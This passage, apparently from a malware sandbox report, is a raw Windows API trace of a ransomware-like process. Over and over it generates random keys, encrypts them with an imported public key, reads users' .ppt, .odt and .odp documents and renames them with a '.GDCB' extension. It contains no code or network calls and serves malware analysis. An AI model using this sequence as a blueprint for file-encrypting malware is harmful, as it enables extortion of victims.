phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0138.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.415] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0138.415] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.416] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0138.417] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34c9e8) returned 1 [0138.417] CryptGetKeyParam (in: hKey=0x34c9e8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.418] CryptEncrypt (in: hKey=0x34c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0138.418] GetLastError () returned 0x0 [0138.418] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.418] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0138.419] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34ce68) returned 1 [0138.420] CryptGetKeyParam (in: hKey=0x34ce68, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.420] CryptEncrypt (in: hKey=0x34ce68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0138.420] GetLastError () returned 0x0 [0138.420] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.420] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\R8M4R8KAn1bTR.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\r8m4r8kan1btr.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0138.420] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.420] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.420] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xf5a0, lpOverlapped=0x0) returned 1 [0138.427] VirtualAlloc (lpAddress=0x0, dwSize=0xf5a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.431] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\R8M4R8KAn1bTR.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\r8m4r8kan1btr.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\R8M4R8KAn1bTR.ppt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\r8m4r8kan1btr.ppt.gdcb")) returned 1 [0138.432] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0138.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.433] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.433] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0138.433] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.433] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0138.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.434] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0138.434] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.434] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0138.436] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34caa8) returned 1 [0138.436] CryptGetKeyParam (in: hKey=0x34caa8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.436] CryptEncrypt (in: hKey=0x34caa8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0138.436] GetLastError () returned 0x0 [0138.436] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.436] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0138.438] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34ce28) returned 1 [0138.438] CryptGetKeyParam (in: hKey=0x34ce28, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.438] CryptEncrypt (in: hKey=0x34ce28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0138.438] GetLastError () returned 0x0 [0138.438] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.438] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\Sc5nXy5 kKlZ2r8gTs.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\sc5nxy5 kklz2r8gts.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0138.439] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.439] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.439] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xe5bf, lpOverlapped=0x0) returned 1 [0138.447] VirtualAlloc (lpAddress=0x0, dwSize=0xe5c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.453] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\Sc5nXy5 kKlZ2r8gTs.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\sc5nxy5 kklz2r8gts.odt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\Sc5nXy5 kKlZ2r8gTs.odt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\sc5nxy5 kklz2r8gts.odt.gdcb")) returned 1 [0138.454] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0138.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.454] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0138.454] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.454] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0138.455] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.455] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0138.455] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0138.455] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0138.457] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34cbe8) returned 1 [0138.457] CryptGetKeyParam (in: hKey=0x34cbe8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.457] CryptEncrypt (in: hKey=0x34cbe8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0138.457] GetLastError () returned 0x0 [0138.457] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.457] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0138.459] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34cea8) returned 1 [0138.459] CryptGetKeyParam (in: hKey=0x34cea8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0138.459] CryptEncrypt (in: hKey=0x34cea8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0138.459] GetLastError () returned 0x0 [0138.459] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.459] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\tUxL3qY.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\tuxl3qy.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0138.460] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.460] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.460] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x6658, lpOverlapped=0x0) returned 1 [0138.469] VirtualAlloc (lpAddress=0x0, dwSize=0x6660, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.473] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\tUxL3qY.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\tuxl3qy.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\tUxL3qY.ppt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\tuxl3qy.ppt.gdcb")) returned 1 [0138.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.474] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.477] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0138.478] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.478] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0138.478] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.478] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.479] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.479] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.479] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0138.479] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.479] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.481] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34cee8) returned 1 [0138.481] CryptGetKeyParam (in: hKey=0x34cee8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.481] CryptEncrypt (in: hKey=0x34cee8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0138.481] GetLastError () returned 0x0 [0138.481] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.481] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed300) returned 1 [0138.483] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34c8e8) returned 1 [0138.483] CryptGetKeyParam (in: hKey=0x34c8e8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.483] CryptEncrypt (in: hKey=0x34c8e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0138.483] GetLastError () returned 0x0 [0138.483] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.483] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\-XKS.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\-xks.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0138.483] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.484] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.484] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0xecf9, lpOverlapped=0x0) returned 1 [0138.512] VirtualAlloc (lpAddress=0x0, dwSize=0xed00, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.516] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\-XKS.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\-xks.odp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\-XKS.odp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\-xks.odp.gdcb")) returned 1 [0138.519] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.520] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.520] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0138.520] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.520] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.521] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0138.521] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.521] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.523] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34c7a8) returned 1 [0138.523] CryptGetKeyParam (in: hKey=0x34c7a8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.523] CryptEncrypt (in: hKey=0x34c7a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0138.523] GetLastError () returned 0x0 [0138.523] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.523] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.525] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34c7e8) returned 1 [0138.525] CryptGetKeyParam (in: hKey=0x34c7e8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.525] CryptEncrypt (in: hKey=0x34c7e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0138.525] GetLastError () returned 0x0 [0138.525] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.525] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\1C35.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\1c35.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0138.525] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.525] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.526] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0xab78, lpOverlapped=0x0) returned 1 [0138.536] VirtualAlloc (lpAddress=0x0, dwSize=0xab80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.540] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\1C35.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\1c35.odp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\1C35.odp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\1c35.odp.gdcb")) returned 1 [0138.541] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0138.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.541] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0138.541] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.541] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.542] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.542] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.542] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0138.542] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.542] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0138.544] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34cb68) returned 1 [0138.544] CryptGetKeyParam (in: hKey=0x34cb68, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.544] CryptEncrypt (in: hKey=0x34cb68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0138.544] GetLastError () returned 0x0 [0138.544] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.544] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0138.546] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34cca8) returned 1 [0138.546] CryptGetKeyParam (in: hKey=0x34cca8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.546] CryptEncrypt (in: hKey=0x34cca8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0138.547] GetLastError () returned 0x0 [0138.547] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.547] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\1UScSaKRACH3OPj.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\1uscsakrach3opj.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0138.547] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.547] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.547] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0xff20, lpOverlapped=0x0) returned 1 [0138.557] VirtualAlloc (lpAddress=0x0, dwSize=0xff20, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.562] MoveFileW 